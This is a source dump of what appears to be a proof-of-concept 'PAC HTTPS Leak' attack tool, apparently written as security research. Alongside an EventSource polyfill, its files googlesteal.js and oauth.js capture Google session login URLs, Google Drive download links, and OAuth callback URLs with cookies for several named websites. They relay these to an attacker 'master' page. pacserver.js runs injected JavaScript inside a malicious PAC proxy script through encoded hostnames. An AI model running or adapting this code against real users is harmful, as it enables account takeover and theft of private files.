IE 8 - 9 with XMLHttpRequest 198 | } 199 | } 200 | var event = undefined; 201 | var isWrongStatusCodeOrContentType = false; 202 | 203 | if (currentState === CONNECTING) { 204 | var status = 0; 205 | var statusText = ""; 206 | var contentType = undefined; 207 | if (!("contentType" in xhr)) { 208 | try { 209 | status = xhr.status; 210 | statusText = xhr.statusText; 211 | contentType = xhr.getResponseHeader("Content-Type"); 212 | } catch (error) { 213 | // https://bugs.webkit.org/show_bug.cgi?id=29121 214 | status = 0; 215 | statusText = ""; 216 | contentType = undefined; 217 | // FF < 14, WebKit 218 | // https://bugs.webkit.org/show_bug.cgi?id=29658 219 | // https://bugs.webkit.org/show_bug.cgi?id=77854 220 | } 221 | } else if (type !== "" && type !== "error") { 222 | status = 200; 223 | statusText = "OK"; 224 | contentType = xhr.contentType; 225 | } 226 | if (contentType == undefined) { 227 | contentType = ""; 228 | } 229 | if (status === 0 && statusText === "" && type === "load" && responseText !== "") { 230 | status = 200; 231 | statusText = "OK"; 232 | if (contentType === "") { // Opera 12 233 | var tmp = (/^data\:([^,]*?)(?:;base64)?,[\S]*$/).exec(url); 234 | if (tmp != undefined) { 235 | contentType = tmp[1]; 236 | } 237 | } 238 | } 239 | if (status === 200 && contentTypeRegExp.test(contentType)) { 240 | currentState = OPEN; 241 | wasActivity = true; 242 | retry = initialRetry; 243 | that.readyState = OPEN; 244 | event = new Event("open"); 245 | that.dispatchEvent(event); 246 | fire(that, that.onopen, event); 247 | if (currentState === CLOSED) { 248 | return; 249 | } 250 | } else { 251 | // Opera 12 252 | if (status !== 0 && (status !== 200 || contentType !== "")) { 253 | var message = ""; 254 | if (status !== 200) { 255 | message = "EventSource's response has a status " + status + " " + statusText.replace(/\s+/g, " ") + " that is not 200. Aborting the connection."; 256 | } else { 257 | message = "EventSource's response has a Content-Type specifying an unsupported type: " + contentType.replace(/\s+/g, " ") + ". Aborting the connection."; 258 | } 259 | setTimeout(function () { 260 | throw new Error(message); 261 | }, 0); 262 | isWrongStatusCodeOrContentType = true; 263 | } 264 | } 265 | } 266 | 267 | if (currentState === OPEN) { 268 | if (responseText.length > charOffset) { 269 | wasActivity = true; 270 | } 271 | var i = charOffset - 1; 272 | var length = responseText.length; 273 | var c = "\n"; 274 | while (++i < length) { 275 | c = responseText.charAt(i); 276 | if (state === AFTER_CR && c === "\n") { 277 | state = FIELD_START; 278 | } else { 279 | if (state === AFTER_CR) { 280 | state = FIELD_START; 281 | } 282 | if (c === "\r" || c === "\n") { 283 | if (field === "data") { 284 | dataBuffer.push(value); 285 | } else if (field === "id") { 286 | lastEventIdBuffer = value; 287 | } else if (field === "event") { 288 | eventTypeBuffer = value; 289 | } else if (field === "retry") { 290 | initialRetry = getDuration(Number(value), initialRetry); 291 | retry = initialRetry; 292 | } else if (field === "heartbeatTimeout") { 293 | heartbeatTimeout = getDuration(Number(value), heartbeatTimeout); 294 | if (timeout !== 0) { 295 | clearTimeout(timeout); 296 | timeout = setTimeout(onTimeout, heartbeatTimeout); 297 | } 298 | } 299 | value = ""; 300 | field = ""; 301 | if (state === FIELD_START) { 302 | if (dataBuffer.length !== 0) { 303 | lastEventId = lastEventIdBuffer; 304 | if (eventTypeBuffer === "") { 305 | eventTypeBuffer = "message"; 306 | } 307 | event = new MessageEvent(eventTypeBuffer, { 308 | data: dataBuffer.join("\n"), 309 | lastEventId: lastEventIdBuffer 310 | }); 311 | that.dispatchEvent(event); 312 | if (eventTypeBuffer === "message") { 313 | fire(that, that.onmessage, event); 314 | } 315 | if (currentState === CLOSED) { 316 | return; 317 | } 318 | } 319 | dataBuffer.length = 0; 320 | eventTypeBuffer = ""; 321 | } 322 | state = c === "\r" ? AFTER_CR : FIELD_START; 323 | } else { 324 | if (state === FIELD_START) { 325 | state = FIELD; 326 | } 327 | if (state === FIELD) { 328 | if (c === ":") { 329 | state = VALUE_START; 330 | } else { 331 | field += c; 332 | } 333 | } else if (state === VALUE_START) { 334 | if (c !== " ") { 335 | value += c; 336 | } 337 | state = VALUE; 338 | } else if (state === VALUE) { 339 | value += c; 340 | } 341 | } 342 | } 343 | } 344 | charOffset = length; 345 | } 346 | 347 | if ((currentState === OPEN || currentState === CONNECTING) && 348 | (type === "load" || type === "error" || isWrongStatusCodeOrContentType || (charOffset > 1024 * 1024) || (timeout === 0 && !wasActivity))) { 349 | if (isWrongStatusCodeOrContentType) { 350 | close(); 351 | } else { 352 | if (type === "" && timeout === 0 && !wasActivity) { 353 | setTimeout(function () { 354 | throw new Error("No activity within " + heartbeatTimeout + " milliseconds. Reconnecting."); 355 | }, 0); 356 | } 357 | currentState = WAITING; 358 | xhr.abort(); 359 | if (timeout !== 0) { 360 | clearTimeout(timeout); 361 | timeout = 0; 362 | } 363 | if (retry > initialRetry * 16) { 364 | retry = initialRetry * 16; 365 | } 366 | if (retry > MAXIMUM_DURATION) { 367 | retry = MAXIMUM_DURATION; 368 | } 369 | timeout = setTimeout(onTimeout, retry); 370 | retry = retry * 2 + 1; 371 | 372 | that.readyState = CONNECTING; 373 | } 374 | event = new Event("error"); 375 | that.dispatchEvent(event); 376 | fire(that, that.onerror, event); 377 | } else { 378 | if (timeout === 0) { 379 | wasActivity = false; 380 | timeout = setTimeout(onTimeout, heartbeatTimeout); 381 | } 382 | } 383 | } 384 | 385 | function onProgress() { 386 | onEvent("progress"); 387 | } 388 | 389 | function onLoad() { 390 | onEvent("load"); 391 | } 392 | 393 | function onError() { 394 | onEvent("error"); 395 | } 396 | 397 | function onReadyStateChange() { 398 | if (xhr.readyState === 4) { 399 | if (xhr.status === 0) { 400 | onEvent("error"); 401 | } else { 402 | onEvent("load"); 403 | } 404 | } else { 405 | onEvent("progress"); 406 | } 407 | } 408 | 409 | if (("readyState" in xhr) && global.opera != undefined) { 410 | // workaround for Opera issue with "progress" events 411 | timeout0 = setTimeout(function f() { 412 | if (xhr.readyState === 3) { 413 | onEvent("progress"); 414 | } 415 | timeout0 = setTimeout(f, 500); 416 | }, 0); 417 | } 418 | 419 | onTimeout = function () { 420 | timeout = 0; 421 | if (currentState !== WAITING) { 422 | onEvent(""); 423 | return; 424 | } 425 | 426 | // loading indicator in Safari, Chrome < 14 427 | // loading indicator in Firefox 428 | // https://bugzilla.mozilla.org/show_bug.cgi?id=736723 429 | if ((!("ontimeout" in xhr) || ("sendAsBinary" in xhr) || ("mozAnon" in xhr)) && global.document != undefined && global.document.readyState != undefined && global.document.readyState !== "complete") { 430 | timeout = setTimeout(onTimeout, 4); 431 | return; 432 | } 433 | 434 | // XDomainRequest#abort removes onprogress, onerror, onload 435 | xhr.onload = onLoad; 436 | xhr.onerror = onError; 437 | 438 | if ("onabort" in xhr) { 439 | // improper fix to match Firefox behaviour, but it is better than just ignore abort 440 | // see https://bugzilla.mozilla.org/show_bug.cgi?id=768596 441 | // https://bugzilla.mozilla.org/show_bug.cgi?id=880200 442 | // https://code.google.com/p/chromium/issues/detail?id=153570 443 | xhr.onabort = onError; 444 | } 445 | 446 | if ("onprogress" in xhr) { 447 | xhr.onprogress = onProgress; 448 | } 449 | // IE 8-9 (XMLHTTPRequest) 450 | // Firefox 3.5 - 3.6 - ? < 9.0 451 | // onprogress is not fired sometimes or delayed 452 | // see also #64 453 | if ("onreadystatechange" in xhr) { 454 | xhr.onreadystatechange = onReadyStateChange; 455 | } 456 | 457 | wasActivity = false; 458 | timeout = setTimeout(onTimeout, heartbeatTimeout); 459 | 460 | charOffset = 0; 461 | currentState = CONNECTING; 462 | dataBuffer.length = 0; 463 | eventTypeBuffer = ""; 464 | lastEventIdBuffer = lastEventId; 465 | value = ""; 466 | field = ""; 467 | state = FIELD_START; 468 | 469 | var s = url.slice(0, 5); 470 | if (s !== "data:" && s !== "blob:") { 471 | s = url + ((url.indexOf("?", 0) === -1 ? "?" : "&") + "lastEventId=" + encodeURIComponent(lastEventId) + "&r=" + (Math.random() + 1).toString().slice(2)); 472 | } else { 473 | s = url; 474 | } 475 | xhr.open("GET", s, true); 476 | 477 | if ("withCredentials" in xhr) { 478 | // withCredentials should be set after "open" for Safari and Chrome (< 19 ?) 479 | xhr.withCredentials = withCredentials; 480 | } 481 | 482 | if ("responseType" in xhr) { 483 | xhr.responseType = "text"; 484 | } 485 | 486 | if ("setRequestHeader" in xhr) { 487 | // Request header field Cache-Control is not allowed by Access-Control-Allow-Headers. 488 | // "Cache-control: no-cache" are not honored in Chrome and Firefox 489 | // https://bugzilla.mozilla.org/show_bug.cgi?id=428916 490 | //xhr.setRequestHeader("Cache-Control", "no-cache"); 491 | xhr.setRequestHeader("Accept", "text/event-stream"); 492 | // Request header field Last-Event-ID is not allowed by Access-Control-Allow-Headers. 493 | //xhr.setRequestHeader("Last-Event-ID", lastEventId); 494 | } 495 | 496 | xhr.send(undefined); 497 | }; 498 | 499 | EventTarget.call(this); 500 | this.close = close; 501 | this.url = url; 502 | this.readyState = CONNECTING; 503 | this.withCredentials = withCredentials; 504 | 505 | this.onopen = undefined; 506 | this.onmessage = undefined; 507 | this.onerror = undefined; 508 | 509 | onTimeout(); 510 | } 511 | 512 | function F() { 513 | this.CONNECTING = CONNECTING; 514 | this.OPEN = OPEN; 515 | this.CLOSED = CLOSED; 516 | } 517 | F.prototype = EventTarget.prototype; 518 | 519 | EventSource.prototype = new F(); 520 | F.call(EventSource); 521 | if (isCORSSupported) { 522 | EventSource.prototype.withCredentials = undefined; 523 | } 524 | 525 | var isEventSourceSupported = function () { 526 | // Opera 12 fails this test, but this is fine. 527 | return global.EventSource != undefined && ("withCredentials" in global.EventSource.prototype); 528 | }; 529 | 530 | if (Transport != undefined && (global.EventSource == undefined || (isCORSSupported && !isEventSourceSupported()))) { 531 | // Why replace a native EventSource ? 532 | // https://bugzilla.mozilla.org/show_bug.cgi?id=444328 533 | // https://bugzilla.mozilla.org/show_bug.cgi?id=831392 534 | // https://code.google.com/p/chromium/issues/detail?id=260144 535 | // https://code.google.com/p/chromium/issues/detail?id=225654 536 | // ... 537 | global.NativeEventSource = global.EventSource; 538 | global.EventSource = EventSource; 539 | } 540 | 541 | }(typeof window !== 'undefined' ? window : this)); 542 | -------------------------------------------------------------------------------- /static/googlesteal.js: -------------------------------------------------------------------------------- 1 | 2 | // Get a Google login token for google.co.uk 3 | function stealGoogleAccount(pac) { 4 | pac.resetPacState(); 5 | // Add 'pacblock' in the URL so we can block only these requests and not break user-initiated requests 6 | var google_autologin_url = 'https://accounts.google.com/ServiceLogin?hl=en&passive=true&continue=https://www.google.co.uk/?pacblock' 7 | // above URL will redirect to a URL matching this: 8 | var google_auth_token_regex = /^https:\/\/accounts\.[^\/]+\/accounts\/SetSID.*pacblock/; 9 | pac.addBlockRequestHandler(google_autologin_url, google_auth_token_regex, function(pac, url) { 10 | pac.publishMsg('show_url', { title: 'Stole Google Session', href: url, linktext: 'Click here' }); // send login URL to master 11 | }); 12 | } 13 | 14 | // Steal (some) files from Google Drive 15 | function stealGDrive(pac) { 16 | pac.resetPacState(); 17 | // the Google Drive page shows thumbnails of most documents; these contains the document ID 18 | var thumbnail_request = /drive.google.com\/thumbnail\?id=([^&]+)/; 19 | pac.addBlockRegex(thumbnail_request); 20 | pac.addLeakRegex(thumbnail_request); 21 | 22 | // some Google Drive downloads go via google user content 23 | var google_user_content = /^https:\/\/doc-.*.googleusercontent.com\/docs\/securesc\/.*download-block/; 24 | pac.addBlockRegex(google_user_content); 25 | pac.addLeakRegex(google_user_content); 26 | 27 | var docIds = {}; // Google Drive document IDs 28 | 29 | pac.addRegexCallback(thumbnail_request, function(pac, url, result) { 30 | var docId = result[1]; 31 | if (docId in docIds) return; // we only want to deal with each doc ID once 32 | docIds[docId] = 1; 33 | console.log("gotDocId " + docId); 34 | // we add 'download-block' in the URL so we can block only these requests and not break user-initiated requests 35 | var nextUrl = 'https://drive.google.com/uc?id=' + docId + '&export=download-block'; // trigger download process 36 | pac.requestUrl(nextUrl); 37 | }); 38 | 39 | pac.addRegexCallback(google_user_content, function(pac, url, result) { 40 | console.log('sendGDriveUrlToServer ' + url); 41 | pac.requestUrl('/google-doc-download/?url=' + escape(url) + '&qid=' + pac.subscriptionId); 42 | }); 43 | 44 | // prerender Google Drive and trigger thumbnail downloads 45 | pac.prerenderUrl('https://drive.google.com/drive/my-drive'); 46 | } -------------------------------------------------------------------------------- /static/index.html: -------------------------------------------------------------------------------- 1 | 2 |

PAC HTTPS Leak Demo

3 |

Victims click here

4 |

Attacker click here

5 |

PAC JS Shell

-------------------------------------------------------------------------------- /static/oauth.js: -------------------------------------------------------------------------------- 1 | function stealOauth(pac) { 2 | pac.scrapeUrl("https://www.engadget.com/auth/engadget_auth/social/facebook/login?display=popup", function(pac, data) { 3 | if (data.code == 302) { 4 | var cookies = data.cookies; 5 | url = data.headers.location; 6 | pac.addBlockRequestHandler(url, /^https?:\/\/www.engadget.com\/auth\/engadget_auth\/social\//, function(pac, url) { 7 | pac.publishMsg("oauth", { name: "engadget.com", url: url, cookies: cookies, domain: "engadget.com" }); 8 | }); 9 | } 10 | }); 11 | 12 | pac.scrapeUrl("https://imgur.com/signin/facebook?redirect=http%3A%2F%2Fimgur.com%2F", function(pac, data) { 13 | if (data.code == 302) { 14 | var cookies = data.cookies; 15 | url = data.headers.location; 16 | pac.addBlockRequestHandler(url, /^https?:\/\/imgur.com\/signin\/facebook/, function(pac, url) { 17 | pac.publishMsg("oauth", { name: "imgur.com", url: url, cookies: cookies, domain: "imgur.com" }); 18 | }); 19 | } 20 | }); 21 | 22 | pac.scrapeUrl("http://www.4shared.com/oauth/startFacebookLogin.jsp?redir=http%3A%2F%2Fwww.4shared.com%2Faccount%2Fhome.jsp", { regex: /https:\/\/www.facebook.com[^']+/ }, function(pac, data) { 23 | console.log(data) 24 | if (data.code == 200) { 25 | var cookies = data.cookies; 26 | url = data.data; 27 | pac.addBlockRequestHandler(url, /^https?:\/\/www.4shared.com\/servlet\/facebook\//, function(pac, url) { 28 | pac.publishMsg("oauth", { name: "4shared.com", url: url, cookies: cookies, domain: "4shared.com" }); 29 | }); 30 | } 31 | }); 32 | 33 | url = "https://www.facebook.com/dialog/oauth?redirect_uri=http%3A%2F%2Fwww.livejournal.com%2Fidentity%2Fcallback-facebook.bml%3Fforwhat%3Dwww%2524%252F&app_id=189818072392&scope=publish_actions,email,user_about_me,user_birthday,user_hometown,user_interests,user_website,user_posts,user_photos,user_videos&display=page"; 34 | pac.addBlockRequestHandler(url, /^https?:\/\/www.livejournal.com\/identity\/callback-facebook.bml/, function(pac, url) { 35 | pac.publishMsg("oauth", { name: "livejournal.com", url: url, cookies: {}, domain: "livejournal.com" }); 36 | }); 37 | 38 | pac.scrapeUrl("https://account.shodan.io/login/facebook", function(pac, data) { 39 | if (data.code == 302) { 40 | var cookies = data.cookies; 41 | url = data.headers.location; 42 | pac.addBlockRequestHandler(url, /^https?:\/\/account.shodan.io\/login\/facebook\/callback/, function(pac, url) { 43 | pac.publishMsg("oauth", { name: "shodan.io", url: url, cookies: cookies, domain: "shodan.io" }); 44 | }); 45 | } 46 | }); 47 | 48 | pac.scrapeUrl("https://developer.mozilla.org/en-US/users/github/login/?next=%2Fen-US%2F", function(pac, data) { 49 | if (data.code == 302) { 50 | var cookies = data.cookies; 51 | url = data.headers.location; 52 | pac.addBlockRequestHandler(url, /^https?:\/\/developer.mozilla.org\/users\/github\/login\/callback\//, function(pac, url) { 53 | pac.publishMsg("oauth", { name: "developer.mozilla.org", url: url, cookies: cookies, domain: "developer.mozilla.org" }); 54 | }); 55 | } 56 | }); 57 | 58 | pac.scrapeUrl("https://codepen.io/", function(pac, data) { 59 | if (data.code == 200) { 60 | var cookies = data.cookies; 61 | url = data.headers.location; 62 | pac.scrapeUrl("https://codepen.io/login/github", { cookies: cookies }, function(pac, data) { 63 | if (data.code == 302) { 64 | var cookies = data.cookies; 65 | url = data.headers.location; 66 | pac.addBlockRequestHandler(url, /^https?:\/\/codepen.io\/login\/auth_callback/, function(pac, url) { 67 | pac.publishMsg("oauth", { name: "codepen.io", url: url, cookies: cookies, domain: "None" }); 68 | }); 69 | } 70 | }); 71 | } 72 | }); 73 | 74 | pac.scrapeUrl("https://www.airbnb.com/login_modal", function(pac, data) { 75 | if (data.code == 302) { 76 | var cookies = data.cookies; 77 | pac.scrapeUrl("https://www.airbnb.com/oauth_connect?from=facebook_login&service=facebook", { cookies: cookies }, function(pac, data) { 78 | if (data.code == 302) { 79 | url = data.headers.location; 80 | pac.addBlockRequestHandler(url, /^https:\/\/www.airbnb.com\/oauth_callback/, function(pac, url) { 81 | pac.publishMsg("oauth", { name: "airbnb.com", url: url, cookies: cookies, domain: "airbnb.com" }); 82 | }); 83 | } 84 | }); 85 | } 86 | }); 87 | } 88 | -------------------------------------------------------------------------------- /static/pacmaster.css: -------------------------------------------------------------------------------- 1 | body { margin: 0; padding: 0; overflow: hidden} 2 | h1, h2, .buttons, #monitor { margin-left: 10px} 3 | a, a:visited { color: blue } 4 | #top { position: absolute; bottom: 33%; overflow-y: scroll; right: 0; left: 0; top: 70px } 5 | #bottom { position: absolute; top: 66%; bottom: 0; left:0; right: 0; background-color: #111 } 6 | body * { font-family: sans-serif } 7 | #urllog { max-height: 30em; overflow-y: scroll } 8 | #typebox { border: 1px solid grey; padding: .5em;} 9 | #templates { display: none} 10 | 11 | h3 { margin-top: 5px; margin-bottom: 0px; padding: 5px; background-color: #111; color: #0f0; font-family: consolas; font-weight: bold} 12 | .twitter { 13 | width:36px; 14 | height:30px; 15 | display: inline-block; 16 | background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACQAAAAeCAYAAABE4bxTAAACmUlEQVR4Ab1XA8xdTRDd37ZtO/ht27MPNYMaUW3bdsOdi9q2bZs7973PvM3U7TNPMsHlGZ8VmYLPzn3Mg05NiborGNQTlG7uMeg9EQGw1b1VXI2KmPeESAO8Vv4zgGRLRWWgtHu9SaS1fnRevPq/oKiVVDRAXEJlI/gQIJ2RKvCTSAGA9KdUOhBKJISUluh0BNTLAKkcFJWCHXxNXII0Az7gh5EKPYb+XSQBTgegzuPvJGZUyqnlb8Dk/KcEQyK1u8xeUTGgU0MkCIl6W8Jk2JDGSaQ2EmmhRN1FMMBwOoQJqwnTch6Jq25s+oDfSdFW1Jvm3iYYgE7tCLk+AUj/uK57g4gCMKhtamRoUVWT7r/Soir4eoyXdoCiBvxS+GLWQ1MgM7nqfPf2cB+dHjvfOk8ijeIm8Jr0/JUI6c5JE0Ln/whhd75N9GNS6VyOHiDtTZaQ19JfhLas6bxUe417i0TqwQ9l0/wq8EpoyxpOU4l0GlBPAaWPZ5NQddu9J1y6fuCbWTekkyIcYLa+D5Ao+4T0RBEJoHTdbBOSBlWJTMh1bwJFVjYJee28J0U08ESWSO154WWhflaKeOFHek6iHsKaJmPpUvR3vFt7BiAR65TMRYg2cjbiJOR8n+l0eQwHEtQ21C+DhKbFjE6E4u6dgeI+yHJZJAuwct68oOj0odTJUJHXCnwk0gHWQRzq5DtKFwDLjFTBCgDQ8YDSR1KYN2ckBj9LPk3z3bu9VvBTMHQ3lrCppImFf4i8iAHWQj8C0izWtaBodzrmj0TSLHk5wslFZWru4zyZWaKmuA5IKuoFMwIPprF4qQEgrYm75ZHOANIIMAI/xxeRFGqJdbZEanLhIKe7AlJ/Xr4eg6qBQV/xOb6N694o0ohzAxPwCoC/+6UAAAAASUVORK5CYII=); 17 | } 18 | 19 | .logo { 20 | display: inline-block; 21 | width:32px; 22 | height:32px; 23 | } 24 | 25 | 26 | .facebook { 27 | background-image: url(https://static.xx.fbcdn.net/rsrc.php/v2/y1/r/Y3dI7TtNnYf.png); 28 | background-size: 32px; 29 | } 30 | 31 | .google { 32 | background-image: url(https://www.google.co.uk/favicon.ico); 33 | } 34 | .github { 35 | background-image: url(https://github.com/favicon.ico); 36 | } 37 | 38 | .linkedin { 39 | background-size: 32px; 40 | background-image: url(https://static.licdn.com/scds/common/u/images/logos/favicons/v1/favicon.ico) 41 | } 42 | 43 | .account { 44 | background-color: #eee; 45 | -border: 1px solid #777; 46 | min-height: 3em; 47 | margin: .5em; 48 | padding: .5em; 49 | display: inline-block; 50 | vertical-align: middle; 51 | padding-left: 3em; 52 | position: relative; 53 | box-shadow: rgba(0,0,0,.7) 5px 5px 25px; 54 | } 55 | 56 | .account .photos { } 57 | .account span.logo, .account span.twitter { position: absolute; left: 5px; top: calc(50% - 16px) } 58 | .account img[data-attr=profileimg] { width: 50px; border-radius: 25px } 59 | .photos img { padding: 1px; width: 100px} 60 | .account * { vertical-align: middle} 61 | 62 | #urllog { background-color: #111; padding: 1em; } 63 | #urllog div { font-family: consolas; white-space: nowrap; color: green; font-size: 16pt } 64 | #urllog div.https { color: #0f0 } 65 | .buttons { position: absolute; top:0; right: 0; padding: 2em } 66 | .buttons button { border: none; background-color: #444; color: #0f0; padding: .5em 1em } 67 | 68 | #monitor { font-size: 16pt; margin: .5em; padding: 10px; line-height:1.5em } 69 | #monitor a[href$='.pdf']::after { 70 | content: ''; 71 | display: inline-block; 72 | background-image: url('/static/images/pdf.png'); 73 | background-size: 32px; 74 | width: 32px; 75 | height: 32px; 76 | margin-left: 5px; 77 | vertical-align: middle; 78 | } 79 | 80 | #monitor a[href$='.jpg']::after { 81 | content: ''; 82 | display: inline-block; 83 | background-image: url('/static/images/jpg.png'); 84 | background-size: 32px; 85 | width: 32px; 86 | height: 32px; 87 | margin-left: 5px; 88 | vertical-align: middle; 89 | } 90 | 91 | #monitor a[href$='.docx']::after { 92 | content: ''; 93 | display: inline-block; 94 | background-image: url('/static/images/word.png'); 95 | background-size: 32px; 96 | width: 32px; 97 | height: 32px; 98 | margin-left: 5px; 99 | vertical-align: middle; 100 | } 101 | .typebox { height: 1.8em; margin: .5em 0 } 102 | .typebox span { border: 2px solid grey; padding: 5px } 103 | .typebox span::before { content: '🔎 ' } -------------------------------------------------------------------------------- /static/pacmaster.html: -------------------------------------------------------------------------------- 1 | 2 | 9 | 10 | PAC Master 11 | 12 | 13 | 14 | 15 |

PAC Master

16 | 17 |
18 | Nifty Demos: 19 | 20 | 21 | 22 | 23 | 24 |
25 | 26 |
27 |
28 |
29 | 30 |
31 |

All Leaked URLs

32 |
33 |
34 | 35 | 36 | 37 | 38 | 39 | 241 | 242 |
243 |
244 | 245 | Name:
246 | Google ID:
247 |
248 |
249 | 250 |
251 | 252 | 253 | Twitter ID: @ 254 | 255 |
256 | 257 |
258 | 259 | Github ID: 260 |
261 | 262 |
263 | 264 | 265 | LinkedIn ID:
266 | Employment: 267 |
268 | 269 |
270 | 271 | Facebook ID: 272 |
273 |
274 | 275 | -------------------------------------------------------------------------------- /static/pacserver.js: -------------------------------------------------------------------------------- 1 | /** 2 | * Create a connection to the malicious PAC webserver 3 | * This uses an HTML5 server-sent event stream to receive 4 | * events in real time from the server. 5 | * 6 | * The victim and master pages use this class to comminucate with each other via 7 | * the webserver. This class can also be used to control the PAC script. 8 | * 9 | * @param {string} subscribeUrl - this should be '/subscribe' for victim pages 10 | * or '/subscribe?master' to the master page 11 | */ 12 | function PACServer(subscribeUrl) { 13 | this.url = subscribeUrl; 14 | this.subscriptionId = null; 15 | this.pacSid = null; 16 | this.evalReqNo = Math.floor(Math.random()*1000); 17 | this.recentUrls = []; 18 | 19 | // callbacks 20 | this.regexCallbacks = []; 21 | this.channelCallbacks = {}; 22 | 23 | var evtSrc = new EventSource(this.url); 24 | evtSrc.onmessage = this._onmessage.bind(this); 25 | } 26 | 27 | /** 28 | * Clear all callbacks, and clear blocks/leak regexs from 29 | * the PAC script. This will cause the PAC script to 30 | * resume leaking all URLs. 31 | */ 32 | PACServer.prototype.resetPacState = function() { 33 | this.evalInPac('blockRegexes=new Array()'); 34 | this.evalInPac('leakRegexes=new Array()'); 35 | this.regexCallbacks = []; 36 | this.channelCallbacks = {}; 37 | this.recentUrls = []; 38 | } 39 | 40 | /** 41 | * Tell PAC script to block URLs matching this regex 42 | */ 43 | PACServer.prototype.addBlockRegex = function(regex) { 44 | this.evalInPac('blockRegexes.push(/' + regex.source + '/)'); 45 | } 46 | 47 | /** 48 | * Tell PAC script to leak URLs matching this regex 49 | */ 50 | PACServer.prototype.addLeakRegex = function(regex) { 51 | this.evalInPac('leakRegexes.push(/' + regex.source + '/)'); 52 | } 53 | 54 | /** 55 | * Perform a callback when we receive an event of type 'channel' from the server 56 | */ 57 | PACServer.prototype.addCallback = function(channel, callback) { 58 | if (!(channel in this.channelCallbacks)) 59 | this.channelCallbacks[channel] = []; 60 | this.channelCallbacks[channel].push(callback) 61 | } 62 | 63 | /** 64 | * Perform a callback when a leaked URL matches the regex 65 | */ 66 | PACServer.prototype.addRegexCallback = function(regex, callback) { 67 | this.regexCallbacks.push([regex, callback]); 68 | } 69 | 70 | /** 71 | * Send a JSON structure from victim to master. 72 | * 73 | * @param {string} channel - Name of channel - master will use `addCallback` to 74 | * receive these messages 75 | * @param {object} msg - dictionary of data to be sent 76 | */ 77 | PACServer.prototype.publishMsg = function(channel, msg, to) { 78 | channel = escape(channel).replace(/\+/g, "%2b"); 79 | msg = escape(JSON.stringify(msg)).replace(/\+/g, "%2b"); 80 | if (typeof to != 'string') to = 'master'; 81 | this.requestUrl("/publish?channel=" + channel + "&msg=" + msg + "&qid=" + this.subscriptionId + "&to=" + to); 82 | } 83 | 84 | /** 85 | * Send a JSON structure from master to victims 86 | * 87 | * @param {string} channel - Name of channel - victims will use `addCallback` to 88 | * receive these messages 89 | * @param {object} dictionary of data to be sent 90 | */ 91 | PACServer.prototype.victimMsg = function(channel, msg) { 92 | this.publishMsg(channel, msg, 'victims'); 93 | } 94 | 95 | /** 96 | * Eval some Javascript inside the PAC file. 97 | * @param {string} js - Script to execute 98 | */ 99 | PACServer.prototype.evalInPac = function(js) { 100 | console.log("evalInPac", js); 101 | js += ";//" + (this.evalReqNo++); 102 | var encoded = asciiToHostNames(js, evalSuffix); 103 | for (var i=0; i < encoded.length; i++) { 104 | this.requestUrl('http://'+encoded[i]); 105 | } 106 | } 107 | 108 | /** 109 | * Load a URL using a hidden - we can then leak 302 redirect from the PAC script 110 | * @param {string} url - URL to load 111 | */ 112 | PACServer.prototype.requestUrl = function(url) { 113 | console.log("requestUrl", url); 114 | new Image().src = url; 115 | } 116 | 117 | /** 118 | * Load a URL using 119 | * 120 | * Chrome will only allow one prerendered page to be active at once, so calling 121 | * this a second time will destroy any previously loaded page 122 | */ 123 | PACServer.prototype.prerenderUrl = function (url) { 124 | console.log("prerenderUrl", url); 125 | var d = document.querySelector('link[rel=prerender]'); 126 | if (d) { // 127 | d.parentElement.removeChild(d); 128 | } 129 | if (url) { 130 | d = document.createElement('link'); 131 | d.setAttribute('rel', 'prerender'); 132 | d.setAttribute('href', url); 133 | document.head.appendChild(d); 134 | } 135 | } 136 | 137 | /** 138 | * Request a URL and register a regex leak and callback. This is useful for 139 | * requests that will cause a 302 redirect. 140 | * 141 | * @param {string} url - URL to be requested 142 | * @param {RegExp} regex - Leak regex 143 | * @param {function} callback - will be called when a URL matching regex is leaked 144 | */ 145 | PACServer.prototype.addRequestHandler = function(url, regex, callback) { 146 | this.addLeakRegex(regex); 147 | this.addRegexCallback(regex, callback); 148 | this.requestUrl(url); 149 | } 150 | 151 | /** 152 | * Request a URL and register a regex block, leak and callback. This is useful for 153 | * requests that will cause a 302 redirect to a URL with a one-time auth token. 154 | * 155 | * @param {string} url - URL to be requested 156 | * @param {RegExp} regex - Leak regex 157 | * @param {function} callback - will be called when a URL matching regex is leaked 158 | */ 159 | PACServer.prototype.addBlockRequestHandler = function(url, regex, callback) { 160 | this.addBlockRegex(regex); 161 | this.addLeakRegex(regex); 162 | this.addRegexCallback(regex, callback); 163 | this.requestUrl(url); 164 | } 165 | 166 | 167 | /** 168 | * Fetch a URL on the server and return headers and content 169 | * 170 | * @param {string} url - URL to fetch 171 | * @param {function} callback - function to call back with result 172 | * @param {object} params - (optional) dictionary of optional settings: 173 | * @param {RegExp} regex - Only return body content matching this 174 | * @param {Object} cookies - dictionary of cookies to send with the reqeuest 175 | */ 176 | PACServer.prototype.scrapeUrl = function() { 177 | var args = Array.prototype.slice.call(arguments); 178 | var url = args.shift(); 179 | //Process arguments 180 | var callback = (typeof args[args.length-1] === 'function') ? args.pop() : null; 181 | var params = (args.length > 0) ? args.shift() : {}; 182 | if (callback == null) 183 | return; 184 | 185 | var xhttp = new XMLHttpRequest(); 186 | var pac = this; 187 | xhttp.onreadystatechange = function() { 188 | if (xhttp.readyState == 4 && xhttp.status == 200) { 189 | callback(pac, JSON.parse(xhttp.responseText)); 190 | } 191 | }; 192 | 193 | var querystring = "url=" + escape(url).replace(/\+/g, "%2b"); 194 | for (var param in params) { 195 | if (params.hasOwnProperty(param)) { 196 | var value = params[param]; 197 | if (value instanceof RegExp) 198 | value = value.source; 199 | else if (value instanceof Object) 200 | value = JSON.stringify(value); 201 | 202 | querystring += "&" + escape(param).replace(/\+/g, "%2b") + "=" + escape(value).replace(/\+/g, "%2b"); 203 | } 204 | } 205 | xhttp.open("GET", "/util/requests?" + querystring, true); 206 | xhttp.send(); 207 | } 208 | 209 | /** 210 | * Add a URL to the prerender queue. Chrome will only prerender a single page at 211 | * a time, so we have to process URLs sequentially. The next URL will be loaded 212 | * after `count` URLs matching the `regex` have been leaked or after a 10-second 213 | * timeout. 214 | * 215 | * @param {string} url - URL to be prerendered 216 | * @param {RegExp} regex - Leak URLs matching this regex 217 | * @param {number} count - Stop the prerender after this number of URLs matching 218 | * the regex have been leaked 219 | * @param {function} callback - Call this function for every matching URL leaked 220 | */ 221 | PACServer.prototype.addRequestPrerenderHandler = function(url, regex, count, callback) { 222 | this.addLeakRegex(regex); 223 | this.addRegexCallback(regex, function(pac, url) { 224 | // Test the url to make 